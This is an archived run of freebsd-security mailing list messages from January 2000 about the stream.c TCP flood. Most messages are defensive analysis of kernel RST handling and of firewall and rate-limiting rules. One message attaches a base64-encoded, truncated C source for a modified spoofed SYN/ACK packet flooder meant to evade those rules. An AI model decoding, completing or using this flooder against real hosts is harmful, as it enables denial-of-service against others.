freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 8A69914CDF for ; Sat, 22 Jan 2000 01:03:06 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id BAA19728; Sat, 22 Jan 2000 01:03:02 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id BAA53962; Sat, 22 Jan 2000 01:03:01 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id BAA16359; Sat, 22 Jan 2000 01:02:59 -0800 (PST) Message-Id: <200001220902.BAA16359@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Sat, 22 Jan 2000 01:02:59 -0800 In-Reply-To: Brett Glass "Re: stream.c worst-case kernel paths" (Jan 22, 12:29am) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 12:29am, Brett Glass wrote: } Subject: Re: stream.c worst-case kernel paths } At 11:32 PM 1/21/2000 , Don Lewis wrote: } } >Actually, I think TH_SYN+TH_RST should immediately go to "drop", } >do not pass GO, do not collect $200 ... } } You're right. Actually, shouldn't RST- be tossed, } since you should never reply to a RST? While you never reply to a RST, reception of a RST can cause the state of a connection to change if the packet passes the appropriate sequence number validation tests. Both bare RST and RST+ACK packets are valid, see RFC 793. I'm pretty sure that RST+FIN and RST+SYN are not valid and should be dropped. The code should already handle all of this, though the checks are distributed throughout the code instead of being all in one place. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1: 4:39 2000 Delivered-To: freebsd-security@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 84AFE14C23 for ; Sat, 22 Jan 2000 01:04:35 -0800 (PST) (envelope-from sthaug@nethelp.no) Received: (qmail 57541 invoked by uid 1001); 22 Jan 2000 09:04:33 +0000 (GMT) To: brett@lariat.org Cc: security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths From: sthaug@nethelp.no In-Reply-To: Your message of "Sat, 22 Jan 2000 00:29:21 -0700" References: <4.2.2.20000122002353.019b9c10@localhost> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 22 Jan 2000 10:04:32 +0100 Message-ID: <57539.948531872@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > You're right. Actually, shouldn't RST- be tossed, > since you should never reply to a RST? Try tcpdump -n 'tcp[13]&4==4' and you'll see a steady stream of RST+ACK packets. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1: 9:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id F0FAA14C23 for ; Sat, 22 Jan 2000 01:09:07 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id BAA19774; Sat, 22 Jan 2000 01:08:52 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id BAA53978; Sat, 22 Jan 2000 01:08:51 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id BAA16378; Sat, 22 Jan 2000 01:08:51 -0800 (PST) Message-Id: <200001220908.BAA16378@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Sat, 22 Jan 2000 01:08:51 -0800 In-Reply-To: "Dan Seafeldt, AZ.COM System Administrator" "attack arbitration server" (Jan 22, 12:24am) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: "Dan Seafeldt, AZ.COM System Administrator" , security@FreeBSD.ORG Subject: Re: attack arbitration server Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 12:24am, "Dan Seafeldt, AZ.COM System Administrator" wrote: } Subject: attack arbitration server } } } Another idea... An option to send a special message upon attack to a } central server at CDROM or other appropriate third party. Networks could } 'elect' to be a part of an automatic notification service whereby a } special block and note was made in the OS to alert of contacts from } semi-blacklisted addresses. Other nearby intranet based machines could be } quickly notified as well. In addition, the FreeBSD Host or firewall being } notified could, upon sysadmin election, determine a level of 'throttle } back' or complete filtration from this IP block should contact be made. What are you going to block if the source addresses in the attack packets are forged? The attacker can easily insert the addresses of *.cdrom.com and *.root-servers.net, which will cause you to automagically block access to important servers in the Internet. That's a pretty nifty DoS. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1:44: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 9B74115026 for ; Sat, 22 Jan 2000 01:43:50 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id BAA11008; Sat, 22 Jan 2000 01:42:58 -0800 (PST) Date: Sat, 22 Jan 2000 01:42:57 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: Don Lewis Cc: security@FreeBSD.ORG Subject: Re: attack arbitration server In-Reply-To: <200001220908.BAA16378@salsa.gv.tsc.tdk.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That's very true. But at least the arbiter provides a starting point not necessarily a list where every entry is acted upon. Until more gateways at upper to tier-one that don't need to send an improbable source address have outbound filtering added, I guess this is hard to address. But even these spoofed packets may have a 'quality' about them that can be documented for the purposes described before. I had always envisioned something bigger that CISCO would get the RFC ball rolling along on these lines since they have the lion's share of the backbone, sort of a 'i don't like this source-address' message to be sent. At some point in the chain of routers during a reverse route trace back, the key router that was originally spoofed would figure out where the packet REALLY came from and realize it was different than the originally documented source address in its history/route table. Sort of like, Hey - I don't have a destination to you and I'm getting complaints about you I'll have to think about this some more. And now I'm off topic so I'll quit... But if I come up with more, I'll post it... I'm going to think about it because your point diminishes alot of the worth of my suggestion but not all of it. On Sat, 22 Jan 2000, Don Lewis wrote: > On Jan 22, 12:24am, "Dan Seafeldt, AZ.COM System Administrator" wrote: > } Subject: attack arbitration server > } > } > } Another idea... An option to send a special message upon attack to a > } central server at CDROM or other appropriate third party. Networks could > } 'elect' to be a part of an automatic notification service whereby a > } special block and note was made in the OS to alert of contacts from > } semi-blacklisted addresses. Other nearby intranet based machines could be > } quickly notified as well. In addition, the FreeBSD Host or firewall being > } notified could, upon sysadmin election, determine a level of 'throttle > } back' or complete filtration from this IP block should contact be made. > > What are you going to block if the source addresses in the attack packets > are forged? The attacker can easily insert the addresses of *.cdrom.com > and *.root-servers.net, which will cause you to automagically block access > to important servers in the Internet. That's a pretty nifty DoS. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1:55:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 0057414DE0 for ; Sat, 22 Jan 2000 01:55:56 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id BAA20016; Sat, 22 Jan 2000 01:55:50 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id BAA54067; Sat, 22 Jan 2000 01:55:49 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id BAA16447; Sat, 22 Jan 2000 01:55:49 -0800 (PST) Message-Id: <200001220955.BAA16447@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Sat, 22 Jan 2000 01:55:49 -0800 In-Reply-To: Brett Glass "Re: Some observations on stream.c and streamnt.c" (Jan 21, 2:44pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 2:44pm, Brett Glass wrote: } Subject: Re: Some observations on stream.c and streamnt.c } At 02:27 PM 1/21/2000 , Keith Stevenson wrote: } } >The ICMP_BANDLIM seemed to be the life saver. I got tons of } >"icmp-response bandwidth limit" messages in my syslog, but the load didn't } >climb and I was still able to provide network services from the target host. } } That's probably because one of the things the exploit does is to create } an ICMP storm. Looks like it's triggered by the outgoing RST, which in } turn is sent in response to the bogus ACK. I think the message is misleading in this case and is being triggered by the following code, which will cause the above message to be logged when we try to send too many RST responses: if (inp == NULL) { if (log_in_vain) { [ snip ] } #ifdef ICMP_BANDLIM if (badport_bandlim(1) < 0) goto drop; #endif if (blackhole) { switch (blackhole) { case 1: if (thflags & TH_SYN) goto drop; break; case 2: goto drop; default: goto drop; } } goto dropwithreset; } If you attack a destination port that doesn't have a listening socket (or you attack random ports, most of which won't have listening sockets, inp will be NULL and the above code will be invoked. ICMP_BANDLIM will keep the code from falling through to dropwithreset the vast majority of the time, saving your bacon. Does anyone else think that the order of the above three tests is exactly backwards? This attack will really DoS the machine if you have log_in_vain turned on. If the attack is directed against a port with a listening socket, then the above code is not invoked and the branch to dropwithreset happens further down in the code at a place no protected by ICMP_BANDLIM. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 2:38: 3 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id CE76015741 for ; Sat, 22 Jan 2000 02:38:01 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id CAA14032; Sat, 22 Jan 2000 02:38:04 -0800 (PST) Date: Sat, 22 Jan 2000 02:38:04 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: Don Lewis , security@FreeBSD.ORG Subject: Re: attack arbitration server In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Even if packets are spoofed, systems alerted to a particular could have a raised sensitivity to detect excessive incoming TCP connections, etc. sooner based on source address or quality type of packet while leaving outbound connections unaffected. > > are forged? The attacker can easily insert the addresses of *.cdrom.com > > and *.root-servers.net, which will cause you to automagically block access > > to important servers in the Internet. That's a pretty nifty DoS. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 2:42:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 8E5A514E7E for ; Sat, 22 Jan 2000 02:42:46 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id LAA11946; Sat, 22 Jan 2000 11:42:30 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: "Dan Seafeldt, AZ.COM System Administrator" Cc: Don Lewis , security@FreeBSD.ORG Subject: Re: attack arbitration server In-reply-to: Your message of "Sat, 22 Jan 2000 02:38:04 PST." Date: Sat, 22 Jan 2000 11:42:30 +0100 Message-ID: <11944.948537750@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It would be a much better idea to start a MAPS like effort to get people to install proper egress filters on their networks. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 2:44: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id E234B1556D for ; Sat, 22 Jan 2000 02:43:59 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id NAA64746; Sat, 22 Jan 2000 13:41:33 +0300 (MSK) Content-Transfer-Encoding: 8bit Date: Sat, 22 Jan 2000 13:41:35 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <0570.000122@sandy.ru> To: Tim Yardley Cc: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG Subject: Re[2]: explanation and code for stream.c issues In-reply-To: <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> References: <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------10D1AD2092C606B" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ------------10D1AD2092C606B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Tim Yardley, 21.01.00 22:15, you wrote: explanation and code for stream.c issues; >>T> -- start rule set -- >>T> block in quick proto tcp from any to any head 100 >>T> pass in quick proto tcp from any to any flags S keep state group 100 >>T> pass in all >>T> -- end rule set -- >> >>Attack can be easily changed to send pair SYN and invalid SYN/ACK My mistake here - SYN/ACK packet isn't required. Sorry, i wrote this message after 11 hours of work. Intruder sends SYN packet and then sends, lets say 1000 ACK packets to the same port from same port and source address. SYN packet will open ipfilter to pass all others packets. This attack doesn't need randomization for each packet. By the way - published stream.c doesn't use ACK bit at all. packet.tcp.th_flags = 0; It looks like usual flooder and can be easily filtered with ipfw by blocking packets without any flags set (this packets are invalid for TCP). allow tcp from any to any tcpflags ack allow tcp from any to any tcpflags syn allow tcp from any to any tcpflags syn,ack deny tcp from any to any Attached is patched stream.c which sends (SYN packet + 1023 ACK packets) from random port and source. This ipfw rule and published ipfilter rule will be unusable against this attack. In my current location i can't test it. T> As was mentioned in the "advisory/explanation" on the issue, ipfw cannot T> deal with the problem due to the fact that it is stateless. T> The attack comes from random ip addresses, therefore throttling like that T> only hurts your connection or solves nothing at all. In other words, the T> random sourcing and method of the attack, makes a non-stateless firewall T> useless. It would be better if you reed the rule before answering. Of cause, ipfw can't find invalid ACK packets. But if OS supports DUMMYNET option ipfw can be used to limit the number of packets in a fixed amount of time. In this case: ipfw pipe 10 config delay 50 queue 500 packets ipfw add pipe 10 tcp from any to $MYHOST in via $EXTERNAL we limit router ro only allow 500 TCP packets in every 50ms. Average size of tcp packet is approx. 500 bytes (you can test it). So, you allow bandwidth of 40M pbs for standard TCP traffic. But this rule will effectively block any spoofing attack which uses small packets. If 50-bytes packets are used this rule will allow only bandwith 4M bps for such attack. Not only "ACK" attack, but any flood. We didn't check source, so we closed against any spoofing. Of cause in this case you will loose TCP packets during an attack and connections can be dropped, but at least your host will be safe. As it was pointed, _any_ packet filter, including ipfilter, can't solve this problem completely. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ ------------10D1AD2092C606B Content-Type: application/octet-stream; name="stream.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="stream.c" I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8dW5pc3Rk Lmg+DQojaW5jbHVkZSA8c3RyaW5ncy5oPg0KI2luY2x1ZGUgPHN5cy90aW1lLmg+DQojaW5jbHVk ZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2lmbmRlZiBfX1VTRV9C U0QNCiNkZWZpbmUgX19VU0VfQlNEDQojZW5kaWYNCiNpZm5kZWYgX19GQVZPUl9CU0QNCiNkZWZp bmUgX19GQVZPUl9CU0QNCiNlbmRpZg0KI2luY2x1ZGUgPG5ldGluZXQvaW5fc3lzdG0uaD4NCiNp bmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pcC5oPg0KI2luY2x1ZGUg PG5ldGluZXQvdGNwLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8bmV0ZGIu aD4NCg0KI2lmZGVmIExJTlVYDQojZGVmaW5lIEZJWCh4KSAgaHRvbnMoeCkNCiNlbHNlDQojZGVm aW5lIEZJWCh4KSAgKHgpDQojZW5kaWYNCg0Kc3RydWN0IGlwX2hkciB7DQogICAgdV9pbnQgICAg ICAgaXBfaGw6NCwgICAgICAgICAgICAgICAgLyogaGVhZGVyIGxlbmd0aCBpbiAzMiBiaXQgd29y ZHMgKi8NCiAgICAgICAgICAgICAgICBpcF92OjQ7ICAgICAgICAgICAgICAgICAvKiBpcCB2ZXJz aW9uICovDQogICAgdV9jaGFyICAgICAgaXBfdG9zOyAgICAgICAgICAgICAgICAgLyogdHlwZSBv ZiBzZXJ2aWNlICovDQogICAgdV9zaG9ydCAgICAgaXBfbGVuOyAgICAgICAgICAgICAgICAgLyog dG90YWwgcGFja2V0IGxlbmd0aCAqLw0KICAgIHVfc2hvcnQgICAgIGlwX2lkOyAgICAgICAgICAg ICAgICAgIC8qIGlkZW50aWZpY2F0aW9uICovDQogICAgdV9zaG9ydCAgICAgaXBfb2ZmOyAgICAg ICAgICAgICAgICAgLyogZnJhZ21lbnQgb2Zmc2V0ICovDQogICAgdV9jaGFyICAgICAgaXBfdHRs OyAgICAgICAgICAgICAgICAgLyogdGltZSB0byBsaXZlICovDQogICAgdV9jaGFyICAgICAgaXBf cDsgICAgICAgICAgICAgICAgICAgLyogcHJvdG9jb2wgKi8NCiAgICB1X3Nob3J0ICAgICBpcF9z dW07ICAgICAgICAgICAgICAgICAvKiBpcCBjaGVja3N1bSAqLw0KICAgIHVfbG9uZyAgICAgIHNh ZGRyLCBkYWRkcjsgICAgICAgICAgIC8qIHNvdXJjZSBhbmQgZGVzdCBhZGRyZXNzICovDQp9Ow0K DQpzdHJ1Y3QgdGNwX2hkciB7DQogICAgdV9zaG9ydCAgICAgdGhfc3BvcnQ7ICAgICAgICAgICAg ICAgLyogc291cmNlIHBvcnQgKi8NCiAgICB1X3Nob3J0ICAgICB0aF9kcG9ydDsgICAgICAgICAg ICAgICAvKiBkZXN0aW5hdGlvbiBwb3J0ICovDQogICAgdV9sb25nICAgICAgdGhfc2VxOyAgICAg ICAgICAgICAgICAgLyogc2VxdWVuY2UgbnVtYmVyICovDQogICAgdV9sb25nICAgICAgdGhfYWNr OyAgICAgICAgICAgICAgICAgLyogYWNrbm93bGVkZ2VtZW50IG51bWJlciAqLw0KICAgIHVfaW50 ICAgICAgIHRoX3gyOjQsICAgICAgICAgICAgICAgIC8qIHVudXNlZCAqLw0KICAgICAgICAgICAg ICAgIHRoX29mZjo0OyAgICAgICAgICAgICAgIC8qIGRhdGEgb2Zmc2V0ICovDQogICAgdV9jaGFy ICAgICAgdGhfZmxhZ3M7ICAgICAgICAgICAgICAgLyogZmxhZ3MgZmllbGQgKi8NCiAgICB1X3No b3J0ICAgICB0aF93aW47ICAgICAgICAgICAgICAgICAvKiB3aW5kb3cgc2l6ZSAqLw0KICAgIHVf c2hvcnQgICAgIHRoX3N1bTsgICAgICAgICAgICAgICAgIC8qIHRjcCBjaGVja3N1bSAqLw0KICAg IHVfc2hvcnQgICAgIHRoX3VycDsgICAgICAgICAgICAgICAgIC8qIHVyZ2VudCBwb2ludGVyICov DQp9Ow0KDQpzdHJ1Y3QgdGNwb3B0X2hkciB7DQogICAgdV9jaGFyICB0eXBlOyAgICAgICAgICAg ICAgICAgICAgICAgLyogdHlwZSAqLw0KICAgIHVfY2hhciAgbGVuOyAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgLyogbGVuZ3RoICovDQogICAgdV9zaG9ydCB2YWx1ZTsgICAgICAgICAg ICAgICAgICAgICAgLyogdmFsdWUgKi8NCn07DQoNCnN0cnVjdCBwc2V1ZG9faGRyIHsgICAgICAg ICAgICAgICAgICAgICAvKiBTZWUgUkZDIDc5MyBQc2V1ZG8gSGVhZGVyICovDQogICAgdV9sb25n IHNhZGRyLCBkYWRkcjsgICAgICAgICAgICAgICAgICAgICAgICAvKiBzb3VyY2UgYW5kIGRlc3Qg YWRkcmVzcyAqLw0KICAgIHVfY2hhciBtYnosIHB0Y2w7ICAgICAgICAgICAgICAgICAgIC8qIHpl cm8gYW5kIHByb3RvY29sICovDQogICAgdV9zaG9ydCB0Y3BsOyAgICAgICAgICAgICAgICAgICAg ICAgLyogdGNwIGxlbmd0aCAqLw0KfTsNCg0Kc3RydWN0IHBhY2tldCB7DQogICAgc3RydWN0IGlw LypfaGRyKi8gaXA7DQogICAgc3RydWN0IHRjcGhkciB0Y3A7DQovKiBzdHJ1Y3QgdGNwb3B0X2hk ciBvcHQ7ICovDQp9Ow0KDQpzdHJ1Y3QgY2tzdW0gew0KICAgIHN0cnVjdCBwc2V1ZG9faGRyIHBz ZXVkbzsNCiAgICBzdHJ1Y3QgdGNwaGRyIHRjcDsNCn07DQoNCnN0cnVjdCBwYWNrZXQgcGFja2V0 Ow0Kc3RydWN0IGNrc3VtIGNrc3VtOw0Kc3RydWN0IHNvY2thZGRyX2luIHNfaW47DQp1X3Nob3J0 IGRzdHBvcnQsIHBrdHNpemUsIHBwczsNCnVfbG9uZyBkc3RhZGRyOw0KaW50IHNvY2s7DQoNCnZv aWQgdXNhZ2UoY2hhciAqcHJvZ25hbWUpDQp7DQogICAgZnByaW50ZihzdGRlcnIsICJVc2FnZTog JXMgPGRzdGFkZHI+IDxkc3Rwb3J0PiA8cGt0c2l6ZT4gPHBwcz5cbiIsIA0KcHJvZ25hbWUpOw0K ICAgIGZwcmludGYoc3RkZXJyLCAiICAgIGRzdGFkZHIgIC0gdGhlIHRhcmdldCB3ZSBhcmUgdHJ5 aW5nIHRvIGF0dGFjay5cbiIpOw0KICAgIGZwcmludGYoc3RkZXJyLCAiICAgIGRzdHBvcnQgIC0g dGhlIHBvcnQgb2YgdGhlIHRhcmdldCwgMCA9IHJhbmRvbS5cbiIpOw0KICAgIGZwcmludGYoc3Rk ZXJyLCAiICAgIHBrdHNpemUgIC0gdGhlIGV4dHJhIHNpemUgdG8gdXNlLiAgMCA9IG5vcm1hbCAN CnN5bi5cbiIpOw0KICAgIGV4aXQoMSk7DQp9DQoNCi8qIFRoaXMgaXMgYSByZWZlcmVuY2UgaW50 ZXJuZXQgY2hlY2tzdW0gaW1wbGltZW50YXRpb24sIG5vdCB2ZXJ5IGZhc3QgKi8NCmlubGluZSB1 X3Nob3J0IGluX2Nrc3VtKHVfc2hvcnQgKmFkZHIsIGludCBsZW4pDQp7DQogICAgcmVnaXN0ZXIg aW50IG5sZWZ0ID0gbGVuOw0KICAgIHJlZ2lzdGVyIHVfc2hvcnQgKncgPSBhZGRyOw0KICAgIHJl Z2lzdGVyIGludCBzdW0gPSAwOw0KICAgIHVfc2hvcnQgYW5zd2VyID0gMDsNCg0KICAgICAvKiBP dXIgYWxnb3JpdGhtIGlzIHNpbXBsZSwgdXNpbmcgYSAzMiBiaXQgYWNjdW11bGF0b3IgKHN1bSks IHdlIGFkZA0KICAgICAgKiBzZXF1ZW50aWFsIDE2IGJpdCB3b3JkcyB0byBpdCwgYW5kIGF0IHRo ZSBlbmQsIGZvbGQgYmFjayBhbGwgdGhlDQogICAgICAqIGNhcnJ5IGJpdHMgZnJvbSB0aGUgdG9w IDE2IGJpdHMgaW50byB0aGUgbG93ZXIgMTYgYml0cy4gKi8NCg0KICAgICB3aGlsZSAobmxlZnQg PiAxKSAgew0KICAgICAgICAgc3VtICs9ICp3Kys7DQogICAgICAgICBubGVmdCAtPSAyOw0KICAg ICB9DQoNCiAgICAgLyogbW9wIHVwIGFuIG9kZCBieXRlLCBpZiBuZWNlc3NhcnkgKi8NCiAgICAg aWYgKG5sZWZ0ID09IDEpIHsNCiAgICAgICAgICoodV9jaGFyICopKCZhbnN3ZXIpID0gKih1X2No YXIgKikgdzsNCiAgICAgICAgIHN1bSArPSBhbnN3ZXI7DQogICAgIH0NCg0KICAgICAvKiBhZGQg YmFjayBjYXJyeSBvdXRzIGZyb20gdG9wIDE2IGJpdHMgdG8gbG93IDE2IGJpdHMgKi8NCiAgICAg c3VtID0gKHN1bSA+PiAxNikgKyAoc3VtICYgMHhmZmZmKTsgLyogYWRkIGhpIDE2IHRvIGxvdyAx NiAqLw0KICAgICBzdW0gKz0gKHN1bSA+PiAxNik7ICAgICAgICAgICAgICAgIC8qIGFkZCBjYXJy eSAqLw0KICAgICBhbnN3ZXIgPSB+c3VtOyAgICAgICAgICAgICAgICAgICAgIC8qIHRydW5jYXRl IHRvIDE2IGJpdHMgKi8NCiAgICAgcmV0dXJuKGFuc3dlcik7DQp9DQoNCnVfbG9uZyBsb29rdXAo Y2hhciAqaG9zdG5hbWUpDQp7DQogICAgc3RydWN0IGhvc3RlbnQgKmhwOw0KDQogICAgaWYgKCho cCA9IGdldGhvc3RieW5hbWUoaG9zdG5hbWUpKSA9PSBOVUxMKSB7DQogICAgICAgZnByaW50Zihz dGRlcnIsICJDb3VsZCBub3QgcmVzb2x2ZSAlcy5cbiIsIGhvc3RuYW1lKTsNCiAgICAgICBleGl0 KDEpOw0KICAgIH0NCg0KICAgIHJldHVybiAqKHVfbG9uZyAqKWhwLT5oX2FkZHI7DQp9DQoNCg0K dm9pZCBmbG9vZGVyKHZvaWQpDQp7DQogICAgc3RydWN0IHRpbWVzcGVjIHRzOw0KICAgIGludCBp Ow0KDQoNCiAgICBtZW1zZXQoJnBhY2tldCwgMCwgc2l6ZW9mKHBhY2tldCkpOw0KDQogICAgdHMu dHZfc2VjICAgICAgICAgICAgICAgICAgID0gMDsNCiAgICB0cy50dl9uc2VjICAgICAgICAgICAg ICAgICAgPSAxMDsNCg0KICAgIHBhY2tldC5pcC5pcF9obCAgICAgICAgICAgICA9IDU7DQogICAg cGFja2V0LmlwLmlwX3YgICAgICAgICAgICAgID0gNDsNCiAgICBwYWNrZXQuaXAuaXBfcCAgICAg ICAgICAgICAgPSBJUFBST1RPX1RDUDsNCiAgICBwYWNrZXQuaXAuaXBfdG9zICAgICAgICAgICAg PSAweDA4Ow0KICAgIHBhY2tldC5pcC5pcF9pZCAgICAgICAgICAgICA9IHJhbmQoKTsNCiAgICBw YWNrZXQuaXAuaXBfbGVuICAgICAgICAgICAgPSBGSVgoc2l6ZW9mKHBhY2tldCkpOw0KICAgIHBh Y2tldC5pcC5pcF9vZmYgICAgICAgICAgICA9IDA7IC8qIElQX0RGPyAqLw0KICAgIHBhY2tldC5p cC5pcF90dGwgICAgICAgICAgICA9IDI1NTsNCiAgICBwYWNrZXQuaXAuaXBfZHN0LnNfYWRkciAg ICAgPSByYW5kb20oKTsNCg0KICAgIHBhY2tldC50Y3AudGhfZmxhZ3MgICAgICAgICA9IDA7DQog ICAgcGFja2V0LnRjcC50aF93aW4gICAgICAgICAgID0gaHRvbnMoMTYzODQpOw0KICAgIHBhY2tl dC50Y3AudGhfc2VxICAgICAgICAgICA9IHJhbmRvbSgpOw0KICAgIHBhY2tldC50Y3AudGhfYWNr ICAgICAgICAgICA9IDA7DQogICAgcGFja2V0LnRjcC50aF9vZmYgICAgICAgICAgID0gNTsgLyog NSAqLw0KICAgIHBhY2tldC50Y3AudGhfdXJwICAgICAgICAgICA9IDA7DQogICAgcGFja2V0LnRj cC50aF9kcG9ydCAgICAgICAgID0gZHN0cG9ydD9odG9ucyhkc3Rwb3J0KTpyYW5kKCk7DQoNCi8q 